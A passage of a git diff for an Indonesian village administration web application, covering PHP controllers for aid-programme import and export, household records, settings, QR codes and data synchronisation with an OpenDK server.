'; + } else { + $this->program_bantuan_model->impor_peserta($program_id, $data_peserta, $kosongkan_peserta, $data_diubah); + } + } + } + $reader->close(); + + $notif = [ + 'program' => $pesan_program, + 'gagal' => $no_gagal, + 'sukses' => $no_sukses, + 'peserta' => $pesan_peserta, + ]; + + $this->session->set_flashdata('notif', $notif); + $this->session->per_page = $temp; + + redirect("{$this->controller}/detail/{$program_id}"); + } + + session_error($this->upload->display_errors()); + redirect($this->controller); + } + + // TODO: function ini terlalu panjang dan sebaiknya dipecah menjadi beberapa method + public function expor($program_id = '') + { + if ($this->program_bantuan_model->jml_peserta_program($program_id) == 0) { + $this->session->success = -1; + redirect($this->controller); + } + + // Data Program Bantuan + $temp = $this->session->per_page; + $this->session->per_page = 1000000000; + $data = $this->program_bantuan_model->get_program(1, $program_id); + $tbl_program = $data[0]; + $tbl_peserta = $data[1]; + + //Nama File + $writer = WriterEntityFactory::createXLSXWriter(); + $fileName = namafile('program_bantuan_' . $tbl_program['nama']) . '.xlsx'; + $writer->openToBrowser($fileName); + + // Sheet Program + $writer->getCurrentSheet()->setName('Program'); + $data_program = [ + ['id', $tbl_program['id']], + ['config_id', identitas('id')], + ['Nama Program', $tbl_program['nama']], + ['Sasaran Program', $tbl_program['sasaran']], + ['Keterangan', $tbl_program['ndesc']], + ['Asal Dana', $tbl_program['asaldana']], + ['Rentang Waktu (Awal)', $tbl_program['sdate']], + ['Rentang Waktu (Akhir)', $tbl_program['edate']], + ]; + + foreach ($data_program as $row) { + $expor_program = [$row[0], $row[1]]; + $rowFromValues = WriterEntityFactory::createRowFromArray($expor_program); + $writer->addRow($rowFromValues); + } + + // Sheet Peserta + $writer->addNewSheetAndMakeItCurrent()->setName('Peserta'); + $judul_peserta = ['Peserta', 'No. Peserta', 'NIK', 'Nama', 'Tempat Lahir', 'Tanggal Lahir', 'Alamat']; + $style = (new StyleBuilder()) + ->setFontBold() + ->setFontSize(12) + ->setBackgroundColor(Color::YELLOW) + ->build(); + $header = WriterEntityFactory::createRowFromArray($judul_peserta, $style); + $writer->addRow($header); + + //Isi Tabel + foreach ($tbl_peserta as $row) { + $peserta = $row['peserta']; + // Ubah id menjadi kode untuk data kelompok + // Berkaitan dgn issue #3417 + // Cari data kelompok berdasarkan id + if ($tbl_program['sasaran'] == 4) { + $this->load->model('kelompok_model'); + $kelompok = $this->kelompok_model->get_kelompok($peserta); + $peserta = $kelompok['kode']; + } + + $data_peserta = [ + $peserta, + $row['no_id_kartu'], + $row['kartu_nik'], + $row['kartu_nama'], + $row['kartu_tempat_lahir'], + $row['kartu_tanggal_lahir'], + $row['kartu_alamat'], + ]; + $rowFromValues = WriterEntityFactory::createRowFromArray($data_peserta); + $writer->addRow($rowFromValues); + } + $writer->close(); + + $this->session->per_page = $temp; + } + + /** + * Unduh kartu peserta berdasarkan kolom program_peserta.kartu_peserta + * + * @param int $id_peserta Id peserta program bantuan + * + * @return void + */ + public function unduh_kartu_peserta($id_peserta = 0) + { + // Ambil nama berkas dari database + $kartu_peserta = $this->db + ->select('kartu_peserta') + ->where('id', $id_peserta) + ->where('config_id', identitas('id')) + ->get('program_peserta') + ->row() + ->kartu_peserta; + ambilBerkas($kartu_peserta, $this->controller . '/detail/' . $id_peserta, null, LOKASI_DOKUMEN); + } + + // Hapus peserta bantuan yg sudah dihapus + // TODO: ubah peserta menggunakan id untuk semua sasaran dan gunakan relasi database delete cascade + public function bersihkan_data() + { + $invalid = []; + $list_sasaran = array_keys($this->referensi_model->list_ref(SASARAN)); + + foreach ($list_sasaran as $sasaran) { + $invalid = array_merge($invalid, $this->program_bantuan_model->peserta_tidak_valid($sasaran)); + } + + $duplikat = []; + $list_program = $this->program_bantuan_model->list_program(); + + foreach ($list_program as $program) { + $duplikat = array_merge($duplikat, $this->program_bantuan_model->peserta_duplikat($program)); + } + + $data['ref_sasaran'] = $this->referensi_model->list_ref(SASARAN); + $data['invalid'] = $invalid; + $data['duplikat'] = $duplikat; + $this->render('program_bantuan/hasil_pembersihan', $data); + } + + public function bersihkan_data_peserta() + { + $this->db + ->where('config_id', identitas('id')) + ->where_in('id', $this->input->post('id_cb')) + ->delete('program_peserta'); + + $this->session->success = 1; + + redirect('program_bantuan/bersihkan_data'); + } + + protected function cek_is_date($cells) + { + if ($cells->isDate()) { + $value = $cells->getValue()->format('Y-m-d'); + } else { + $value = (string) $cells; + } + + return $value; + } +} diff --git a/donjo-app/controllers/Rtm.php b/donjo-app/controllers/Rtm.php index 1afab18db..5f4ec42af 100644 --- a/donjo-app/controllers/Rtm.php +++ b/donjo-app/controllers/Rtm.php @@ -1,441 +1,485 @@ -load->model(['rtm_model', 'wilayah_model', 'program_bantuan_model']); + $this->_set_page = ['50', '100', '200']; + $this->_list_session = ['status_dasar', 'cari', 'dusun', 'rw', 'rt', 'order_by', 'id_bos', 'kelas', 'judul_statistik', 'sex', 'bdt', 'penerima_bantuan']; // Session id_bos + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'rumah-tangga'; + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + $this->session->status_dasar = 1; // Rumah Tangga Aktif + $this->session->order_by = 1; + + redirect($this->controller); + } + + public function index($page = 1, $order_by = 0) + { + foreach ($this->_list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } else { + $data[$list] = $this->session->{$list} ?: ''; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['pesan_rtm'] = $this->session->pesan_rtm ?: null; // Hasil impor rtm + $this->session->pesan_rtm = null; + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $list_data = $this->rtm_model->list_data($page); + $data['paging'] = $list_data['paging']; + $data['main'] = $list_data['main']; + $data['keyword'] = $this->rtm_model->autocomplete(); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['list_sex'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + + $this->render('rtm/rtm', $data); + } + + // $aksi = cetak/unduh + public function daftar($aksi = '', $privasi_nik = 0) + { + $data['main'] = $this->rtm_model->list_data(0); + if ($privasi_nik == 1) { + $data['privasi_nik'] = true; + } + $this->load->view("rtm/rtm_{$aksi}", $data); + } + + public function edit_nokk($id = 0) + { + $this->redirect_hak_akses('u'); + $data['kk'] = $this->rtm_model->get_rtm($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update_nokk/{$id}"); + + $this->load->view('rtm/ajax_edit_no_rtm', $data); + } + + public function form_old($id = 0) + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("{$this->controller}/insert/{$id}"); + + $this->load->view('rtm/ajax_add_rtm', $data); + } + + public function apipendudukrtm() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + + $penduduk = Penduduk::with('pendudukHubungan') + ->select(['id', 'nik', 'nama', 'id_cluster', 'kk_level']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->where(static function ($query) { + $query->where('id_rtm', '=', 0) + ->orWhere('id_rtm', '=', null); + }) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun . ' - ' . $item->pendudukHubungan->nama), + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + public function filter($filter = '', $order_by = '') + { + $value = $order_by ?: $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } + + public function dusun() + { + $this->session->unset_userdata(['rw', 'rt']); + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $this->session->dusun = $dusun; + } else { + $this->session->unset_userdata('dusun'); + } + + redirect($this->controller); + } + + public function rw() + { + $this->session->unset_userdata('rt'); + $rw = $this->input->post('rw'); + if ($rw != '') { + $this->session->rw = $rw; + } else { + $this->session->unset_userdata('rw'); + } + + redirect($this->controller); + } + + public function rt() + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $this->session->rt = $rt; + } else { + $this->session->unset_userdata('rt'); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->rtm_model->insert(); + $this->session->order_by = 6; + + redirect($this->controller); + } + + public function insert_by_kk() + { + $this->redirect_hak_akses('u'); + $this->rtm_model->insert_by_kk(); + $this->session->order_by = 6; + + redirect($this->controller); + } + + public function insert_a() + { + $this->redirect_hak_akses('u'); + $this->rtm_model->insert_a(); + $this->session->order_by = 6; + + redirect($this->controller); + } + + public function insert_new() + { + $this->redirect_hak_akses('u'); + $this->rtm_model->insert_new(); + $this->session->order_by = 6; + + redirect($this->controller); + } + + public function update($id = 0) + { + $this->redirect_hak_akses('u'); + $this->rtm_model->update($id); + + redirect($this->controller); + } + + public function update_nokk($id = 0) + { + $this->redirect_hak_akses('u'); + $this->rtm_model->update_nokk($id); + redirect($this->controller); + } + + public function delete($id = 0) + { + $this->redirect_hak_akses('h'); + $this->rtm_model->delete($id); + redirect($this->controller); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->rtm_model->delete_all(); + redirect($this->controller); + } + + public function anggota($id = 0) + { + $data['p'] = $this->session->per_page; + $data['kk'] = $id; + + $data['main'] = $this->rtm_model->list_anggota($id); + $data['kepala_kk'] = $this->rtm_model->get_kepala_rtm($id); + $data['program'] = $this->program_bantuan_model->get_peserta_program(3, $data['kepala_kk']['no_kk']); + + $this->render('rtm/rtm_anggota', $data); + } + + public function ajax_add_anggota($id = 0) + { + $this->redirect_hak_akses('u'); + + $data['form_action'] = site_url("{$this->controller}/add_anggota/{$id}"); + + $this->load->view('rtm/ajax_add_anggota_rtm_form', $data); + } + + public function datables_anggota($id_pend = null) + { + if ($this->input->is_ajax_request()) { + $penduduk = Penduduk::with(['keluarga', 'keluarga.anggota']) + ->where('kk_level', '=', 1) + ->find($id_pend); + $anggota = collect($penduduk->keluarga->anggota)->whereIn('id_rtm', ['0', null]); + + if ($anggota->count() > 1) { + $keluarga = $anggota->map(static function ($item, $key) { + return [ + 'no' => $key + 1, + 'id' => $item->id, + 'nik' => $item->nik, + 'nama' => $item->nama, + 'kk_level' => SHDKEnum::valueOf($item->kk_level), + ]; + })->values(); + } + + return json([ + 'data' => $keluarga, + ]); + } + + show_404(); + } + + public function edit_anggota($id_rtm = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['hubungan'] = $this->rtm_model->list_hubungan(); + $data['main'] = $this->rtm_model->get_anggota($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update_anggota/{$id_rtm}/{$id}"); + + $this->load->view('rtm/ajax_edit_anggota_rtm', $data); + } + + public function kartu_rtm($id = 0) + { + $data['id_kk'] = $id; + $data['desa'] = $this->header['desa']; + $data['hubungan'] = $this->rtm_model->list_hubungan(); + $data['main'] = $this->rtm_model->list_anggota($id); + $kk = $this->rtm_model->get_kepala_rtm($id); + + if ($kk) { + $data['kepala_kk'] = $kk; + } else { + $data['kepala_kk'] = null; + } + + $data['penduduk'] = $this->rtm_model->list_penduduk_lepas(); + $data['form_action'] = site_url("{$this->controller}/print"); + + $this->render('rtm/kartu_rtm', $data); + } + + public function cetak_kk($id = 0) + { + $data['id_kk'] = $id; + $data['desa'] = $this->header['desa']; + $data['main'] = $this->rtm_model->list_anggota($id); + $data['kepala_kk'] = $this->rtm_model->get_kepala_rtm($id); + + $this->load->view('rtm/cetak_rtm', $data); + } + + public function add_anggota($id = 0) + { + $this->redirect_hak_akses('u'); + $this->rtm_model->add_anggota($id); + + redirect("{$this->controller}/anggota/{$id}"); + } + + public function update_anggota($id_rtm = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->rtm_model->update_anggota($id, $id_rtm); + + redirect("{$this->controller}/anggota/{$id_rtm}"); + } + + public function delete_anggota($kk = 0, $id = 0) + { + $this->redirect_hak_akses('h'); + $this->rtm_model->rem_anggota($kk, $id); + + redirect("{$this->controller}/anggota/{$kk}"); + } + + public function delete_all_anggota($kk = 0) + { + $this->redirect_hak_akses('h'); + $this->rtm_model->rem_all_anggota($kk); + + redirect("{$this->controller}/anggota/{$kk}"); + } + + public function ajax_cetak($aksi = '') + { + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/daftar/{$aksi}"); + $data['form_action_privasi'] = site_url("{$this->controller}/daftar/{$aksi}/1"); + + $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data); + } + + public function statistik($tipe = '0', $nomor = 0, $sex = null) + { + if ($sex == null) { + if ($nomor != 0) { + $this->session->sex = $nomor; + } else { + $this->session->unset_userdata('sex'); + } + $this->session->unset_userdata('judul_statistik'); + + redirect($this->controller); + } + + $this->session->unset_userdata('program_bantuan'); + $this->session->sex = ($sex == 0) ? null : $sex; + + switch ($tipe) { + case 'bdt': + $session = 'bdt'; + $kategori = 'KLASIFIKASI BDT :'; + break; + + case $tipe > 50: + $program_id = preg_replace('/^50/', '', $tipe); + $this->session->program_bantuan = $program_id; + + // TODO: Sederhanakan query ini, pindahkan ke model + $nama = $this->db + ->select('nama') + ->where('config_id', identitas('id')) + ->where('id', $program_id) + ->get('program') + ->row() + ->nama; + + if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) { + $this->session->status_dasar = null; // tampilkan semua peserta walaupun bukan hidup/aktif + $nomor = $program_id; + } + $kategori = $nama . ' : '; + $session = 'penerima_bantuan'; + $tipe = 'penerima_bantuan'; + break; + } + $this->session->{$session} = ($nomor != TOTAL) ? $nomor : null; + + $judul = $this->rtm_model->get_judul_statistik($tipe, $nomor, $sex); + $this->session->unset_userdata('judul_statistik'); + if ($judul['nama']) { + $this->session->judul_statistik = $kategori . $judul['nama']; + } + + redirect($this->controller); + } + + // Impor Pengelompokan Data Rumah Tangga + public function impor() + { + $this->redirect_hak_akses('u'); + $this->rtm_model->impor(); + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Setting.php b/donjo-app/controllers/Setting.php index b8560c3d3..ca802f7eb 100644 --- a/donjo-app/controllers/Setting.php +++ b/donjo-app/controllers/Setting.php @@ -1,473 +1,201 @@ -load->model(['theme_model']); + $this->modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'aplikasi'; + } + + public function index() + { + $data = [ + 'judul' => 'Pengaturan Aplikasi', + 'pengaturan_kategori' => ['sistem', 'web_theme', 'readonly', 'web', 'mobile'], + 'atur_latar' => true, + 'latar_website' => [$this->setting->latar_website, 'latar_website'], + 'latar_siteman' => [$this->setting->latar_login, 'latar_login'], + ]; + + return view('admin.pengaturan.index', $data); + } + + public function ambil_foto() + { + $foto = $this->input->get('foto'); + $pengaturan = $this->input->get('pengaturan'); + + if ($pengaturan == 'latar_website') { + $default = LOKASI_ASSET_FRONT_IMAGES; + $new_setting = $this->theme_model->lokasi_latar_website(); + } + + if ($pengaturan == 'latar_login' || $pengaturan == 'latar_login_mandiri') { + $default = LOKASI_ASSET_IMAGES; + $new_setting = LATAR_LOGIN; + } + + ambilBerkas($foto, $this->controller, null, $foto == $pengaturan . '.jpg' ? $default : $new_setting, $tampil = true); + } + + // Untuk view lama + public function update() + { + $this->redirect_hak_akses_url('u'); + $hasil = $this->setting_model->update_setting($this->input->post()); + status_sukses($hasil, false, 'Berhasil Ubah Data'); + + redirect($_SERVER['HTTP_REFERER']); + } + + // Untuk view menggunakan blade + public function new_update() + { + $this->redirect_hak_akses_url('u'); + if ($this->setting_model->update_setting($this->input->post())) { + set_session('success', 'Berhasil Ubah Data'); + } else { + set_session('error', 'Gagal Ubah Data. ' . session('flash_error_msg')); + } + + redirect($_SERVER['HTTP_REFERER']); + } + + public function aktifkan_tracking() + { + if ($this->input->post('notifikasi') != 1) { + return; + } // Hanya bila dipanggil dari form pengumuman + $this->setting_model->aktifkan_tracking(); + $this->db->where('config_id', identitas('id'))->where('kode', 'tracking_off')->update('notifikasi', ['aktif' => 0]); + } + + // Pengaturan web + public function web() + { + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'pengaturan-web'; + + $data = [ + 'judul' => 'Pengaturan Halaman Web', + 'pengaturan_kategori' => ['conf_web'], + 'aksi_controller' => 'setting/web', + ]; + + return view('admin.pengaturan.index', $data); + } + + // Pengaturan mandiri + public function mandiri() + { + $this->modul_ini = 'layanan-mandiri'; + $this->sub_modul_ini = 'pengaturan-layanan-mandiri'; + + $data = [ + 'judul' => 'Pengaturan Layanan Mandiri', + 'pengaturan_kategori' => ['setting_mandiri'], + 'atur_latar' => true, + 'aksi_controller' => 'setting/mandiri', + 'latar_mandiri' => [$this->setting->latar_login_mandiri, 'latar_login_mandiri'], + ]; + + return view('admin.pengaturan.index', $data); + } + + // Pengaturan analisis + public function analisis() + { + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'pengaturan-analisis'; + + $data = [ + 'judul' => 'Pengaturan Analisis', + 'pengaturan_kategori' => ['setting_analisis'], + 'aksi_controller' => 'setting/analisis', + ]; + + return view('admin.pengaturan.index', $data); + } + + public function qrcode($aksi = '') + { + $this->modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'qr-code'; + + $data['qrcode'] = ['changeqr' => '1', 'sizeqr' => '6', 'foreqr' => '#000000']; // Default + $data['list_changeqr'] = ['Otomatis (Logo Desa)', 'Manual']; + $data['list_sizeqr'] = ['25', '50', '75', '100', '125', '150', '175', '200', '225', '250']; + + $this->render('setting/setting_qr', $data); + } + + public function qrcode_generate() + { + $this->redirect_hak_akses_url('u'); + $post = $this->input->post(); + $changeqr = $post['changeqr']; + + // $logoqr = yg akan ditampilkan, url + // $logoqr1 = yg akan disimpan, directory + if ($changeqr == '1') { + // Ambil absolute path, bukan url + $logoqr1 = gambar_desa($this->header['desa']['logo'], false, true); + } else { + $logoqr = $post['logoqr']; + // Ubah url (http) menjadi absolute path ke file di lokasi media + $lokasi_media = preg_quote(LOKASI_MEDIA, '/'); + $file_logoqr = preg_split('/' . $lokasi_media . '/', $logoqr)[1]; + $logoqr1 = FCPATH . LOKASI_MEDIA . $file_logoqr; + } + + $qrCode = [ + 'isiqr' => $post['isiqr'], // Isi / arti dr qrcode + 'changeqr' => $changeqr, // Pilihan jenis sisipkan logo + 'logoqr' => $logoqr1, + 'sizeqr' => bilangan($post['sizeqr']), // Ukuran qrcode + 'foreqr' => $post['foreqr'], + ]; + + json(qrcode_generate($qrCode, true)); + } +} diff --git a/donjo-app/controllers/Sinkronisasi.php b/donjo-app/controllers/Sinkronisasi.php index bae68903f..35c6a2c89 100644 --- a/donjo-app/controllers/Sinkronisasi.php +++ b/donjo-app/controllers/Sinkronisasi.php @@ -1,513 +1,779 @@ -modul_ini = 'opendk'; + $this->sub_modul_ini = 'sinkronisasi'; + $this->kode_desa = kode_wilayah($this->header['desa']['kode_desa']); + $this->load->library('zip'); + $this->load->model('ekspor_model'); + $this->sterilkan(); + } + + public function index() + { + $modul = [ + 'Program Bantuan' => [ + [ + 'path' => 'kirim_program_bantuan', + 'modul' => 'program-bantuan', + 'model' => 'Bantuan', + 'inkremental' => 0, + ], + [ + 'path' => 'kirim_peserta_program_bantuan', + 'modul' => 'program-bantuan-peserta', + 'model' => 'BantuanPeserta', + 'inkremental' => 0, + ], + ], + 'Pembangunan' => [ + [ + 'path' => 'kirim_pembangunan', + 'modul' => 'pembangunan', + 'model' => 'Pembangunan', + 'inkremental' => 1, + ], + [ + 'path' => 'kirim_dokumentasi_pembangunan', + 'modul' => 'pembangunan-dokumentasi', + 'model' => 'PembangunanDokumentasi', + 'inkremental' => 1, + ], + ], + ]; + + $data = [ + 'kirim_data' => ['Identitas Desa', 'Penduduk', 'Laporan Penduduk', 'Program Bantuan', 'Laporan APBDes', 'Pembangunan'], + 'modul' => $modul, + ]; + + $this->render("{$this->controller}/index", $data); + } + + public function sterilkan() + { + foreach (glob(LOKASI_SINKRONISASI_ZIP . '*_opendk.*') as $file) { + if (file_exists($file)) { + unlink($file); + } + } + } + + public function kirim($modul) + { + $this->redirect_hak_akses('u'); + + switch ($modul) { + case 'penduduk': + // Penduduk + $notif = $this->sinkronisasi_data_penduduk(); + break; + + case 'laporan-penduduk': + // Laporan Penduduk + redirect('laporan_penduduk'); + + // no break + case 'laporan-apbdes': + // Laporan APBDes + redirect('laporan_apbdes'); + + // no break + case 'identitas-desa': + // identitas desa + $notif = $this->sinkronisasi_identitas_desa(); + break; + + default: + // Data Lainnya + break; + } + + redirect_with('notif', $notif); + } + + public function unduh($modul) + { + switch ($modul) { + case 'penduduk': + // Data Penduduk + $filename = $this->data_penduduk(); + break; + + case 'program-bantuan': + // Data Program Bantuan + $this->data_peserta_program_bantuan(); + $filename = $this->data_program_bantuan(); + break; + + default: + redirect($this->controller); + } + + ambilBerkas($filename, null, null, LOKASI_SINKRONISASI_ZIP); + } + + private function data_penduduk() + { + $writer = WriterEntityFactory::createXLSXWriter(); + + //Nama File + $tgl = date('d_m_Y'); + $lokasi = LOKASI_SINKRONISASI_ZIP . 'penduduk_' . $tgl . '_opendk.xlsx'; + $writer->openToFile($lokasi); + + //Header Tabel + $daftar_kolom = [ + ['Alamat', 'alamat'], + ['Dusun', 'dusun'], + ['RW', 'rw'], + ['RT', 'rt'], + ['Nama', 'nama'], + ['Nomor KK', 'nomor_kk'], + ['Nomor NIK', 'nomor_nik'], + ['Jenis Kelamin', 'jenis_kelamin'], + ['Tempat Lahir', 'tempat_lahir'], + ['Tanggal Lahir', 'tanggal_lahir'], + ['Agama', 'agama'], + ['Pendidikan (dlm KK)', 'pendidikan_dlm_kk'], + ['Pendidikan (sdg ditempuh)', 'pendidikan_sdg_ditempuh'], + ['Pekerjaan', 'pekerjaan'], + ['Kawin', 'kawin'], + ['Hub. Keluarga', 'hubungan_keluarga'], + ['Kewarganegaraan', 'kewarganegaraan'], + ['Nama Ayah', 'nama_ayah'], + ['Nama Ibu', 'nama_ibu'], + ['Gol. Darah', 'gol_darah'], + ['Akta Lahir', 'akta_lahir'], + ['Nomor Dokumen Paspor', 'nomor_dokumen_pasport'], + ['Tanggal Akhir Paspor', 'tanggal_akhir_pasport'], + ['Nomor Dokumen KITAS', 'nomor_dokumen_kitas'], + ['NIK Ayah', 'nik_ayah'], + ['NIK Ibu', 'nik_ibu'], + ['Nomor Akta Perkawinan', 'nomor_akta_perkawinan'], + ['Tanggal Perkawinan', 'tanggal_perkawinan'], + ['Nomor Akta Perceraian', 'nomor_akta_perceraian'], + ['Tanggal Perceraian', 'tanggal_perceraian'], + ['Cacat', 'cacat'], + ['Cara KB', 'cara_kb'], + ['Hamil', 'hamil'], + ['KTP-el', 'ktp_el'], + ['Status Rekam', 'status_rekam'], + ['Alamat Sekarang', 'alamat_sekarang'], + ]; + $judul = array_column($daftar_kolom, 1); + + // Kolom tambahan khusus OpenDK + $judul[] = 'id'; + $judul[] = 'foto'; + $judul[] = 'status_dasar'; + $judul[] = 'created_at'; + $judul[] = 'updated_at'; + $judul[] = 'desa_id'; + + $header = WriterEntityFactory::createRowFromArray($judul); + $writer->addRow($header); + + $get = $this->ekspor_model->tambah_penduduk_sinkronasi_opendk(); + + foreach ($get as $row) { + $penduduk = [ + $row->alamat, + $row->dusun, + $row->rw, + $row->rt, + $row->nama, + $row->no_kk, + $row->nik, + $row->sex, + $row->tempatlahir, + $row->tanggallahir, + $row->agama_id, + $row->pendidikan_kk_id, + $row->pendidikan_sedang_id, + $row->pekerjaan_id, + $row->status_kawin, + $row->kk_level, + $row->warganegara_id, + $row->nama_ayah, + $row->nama_ibu, + $row->golongan_darah_id, + $row->akta_lahir, + $row->dokumen_pasport, + $row->tanggal_akhir_pasport, + $row->dokumen_kitas, + $row->ayah_nik, + $row->ibu_nik, + $row->akta_perkawinan, + $row->tanggalperkawinan, + $row->akta_perceraian, + $row->tanggalperceraian, + $row->cacat_id, + $row->cara_kb_id, + $row->hamil, + $row->ktp_el, + $row->status_rekam, + $row->alamat_sekarang, + $row->id, + $row->foto, + $row->status_dasar, + $row->created_at, + $row->updated_at, + $this->kode_desa, + ]; + + $file_foto = LOKASI_USER_PICT . $row->foto; + if (is_file($file_foto)) { + $this->zip->read_file($file_foto); + } + + $rowFromValues = WriterEntityFactory::createRowFromArray($penduduk); + $writer->addRow($rowFromValues); + } + + $writer->close(); + $this->zip->read_file($lokasi); + + $filename = 'penduduk_' . $tgl . '_opendk.zip'; + $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename); + + return $filename; + } + + // TODO:: Ganti dan sesuaikan cara sinkronisasi ini dengan yang baru + private function sinkronisasi_data_penduduk() + { + $filename = $this->data_penduduk(); + + //Tambah/Ubah Data + $curl = curl_init(); + curl_setopt_array($curl, [ + CURLOPT_URL => "{$this->setting->api_opendk_server}/api/v1/penduduk/storedata", + // Jika http gunakan url ini : + //CURLOPT_URL => $this->setting->api_opendk_server."/api/v1/penduduk/storedata?token=".$this->setting->api_opendk_key, + CURLOPT_RETURNTRANSFER => true, + CURLOPT_ENCODING => '', + CURLOPT_MAXREDIRS => 10, + CURLOPT_TIMEOUT => 0, + CURLOPT_FOLLOWLOCATION => true, + CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, + CURLOPT_CUSTOMREQUEST => 'POST', + CURLOPT_POSTFIELDS => ['file' => new CURLFILE(LOKASI_SINKRONISASI_ZIP . $filename)], + CURLOPT_HTTPHEADER => [ + 'content-Type: multipart/form-data', + "Authorization: Bearer {$this->setting->api_opendk_key}", + ], + ]); + + $response = json_decode(curl_exec($curl)); + $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); + + curl_close($curl); + + //Hapus Data + $curl = curl_init(); + curl_setopt_array($curl, [ + CURLOPT_URL => "{$this->setting->api_opendk_server}/api/v1/penduduk", + // Jika http gunakan url ini : + //CURLOPT_URL => $this->setting->api_opendk_server."/api/v1/penduduk?token=".$this->setting->api_opendk_key, + CURLOPT_RETURNTRANSFER => true, + CURLOPT_ENCODING => '', + CURLOPT_MAXREDIRS => 10, + CURLOPT_TIMEOUT => 0, + CURLOPT_FOLLOWLOCATION => true, + CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, + CURLOPT_CUSTOMREQUEST => 'POST', + CURLOPT_POSTFIELDS => json_encode($this->ekspor_model->hapus_penduduk_sinkronasi_opendk()), + CURLOPT_HTTPHEADER => [ + 'Accept: application/json', + 'Content-Type: application/json', + "Authorization: Bearer {$this->setting->api_opendk_key}", + ], + ]); + + $response = json_decode(curl_exec($curl)); + $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); + + if (curl_errno($curl) || $http_code === 422) { + $notif = [ + 'status' => 'danger', + 'pesan' => ' ' . curl_error($curl) . "
{$response->message}
{$response->errors}", + ]; + } else { + $notif = [ + 'status' => $response->status, + 'pesan' => $response->message, + ]; + } + + curl_close($curl); + + return $notif; + } + + public function total() + { + if ($this->input->is_ajax_request()) { + $modul = $this->input->post('modul'); + $model = $this->input->post('model'); + $inkremental = $this->input->post('inkremental'); + if ($inkremental == '0') { + return json(1); // tanpa inkremental + } + $model = 'App\\Models\\' . $model; + $tgl_sinkronisasi = LogSinkronisasi::where('modul', '=', $modul)->first()->updated_at ?? null; + if ($tgl_sinkronisasi) { + return json(1); // jika sudah pernah sinkronisasi, tidak usah paginasi + } + + return json(ceil($model::count() / 100)); + } + } + + // MULAI IDENTITAS DESA + private function sinkronisasi_identitas_desa() + { + return opendk_api('/api/v1/identitas-desa', [ + 'form_params' => [ + 'kode_desa' => $this->kode_desa, + 'sebutan_desa' => $this->setting->sebutan_desa, + 'website' => empty($this->header['desa']['website']) ? base_url() : $this->header['desa']['website'], + 'path' => $this->header['desa']['path'], + ], + ], 'post'); + } + // SELESAI IDENTITAS DESA + + // MULAI PROGRAM BANTUAN + public function kirim_program_bantuan() + { + $filename = $this->data_program_bantuan(); + $akhir = $this->input->get('akhir'); + + $notif = opendk_api('/api/v1/program-bantuan', [ + 'multipart' => [ + [ + 'name' => 'file', + 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $filename, 'r'), + 'filename' => $filename, + ], + [ + 'name' => 'desa_id', + 'contents' => $this->kode_desa, + ], + ], + ], 'post'); + + if ($akhir && $notif['status'] != 'danger') { + $log = LogSinkronisasi::firstOrCreate(['modul' => 'program-bantuan'], ['created_by' => $this->session->user]); + $log->updated_by = $this->session->user; + $log->save(); + } + + return json($notif); + } + + public function data_program_bantuan() + { + $writer = WriterEntityFactory::createCSVWriter(); + + // Buat data Program bantuan + $bantuan_opendk = LOKASI_SINKRONISASI_ZIP . namafile('program bantuan') . '_opendk.csv'; + $writer->openToFile($bantuan_opendk); + + //Header Tabel + $judul = [ + 'desa_id', + 'id', + 'nama', + 'sasaran', + 'ndesc', + 'sdate', + 'edate', + 'userid', + 'status', + 'asaldana', + ]; + + $header = WriterEntityFactory::createRowFromArray($judul); + $writer->addRow($header); + + foreach (Bantuan::get() as $row) { + $program = [ + $this->kode_desa, + $row->id, + $row->nama, + 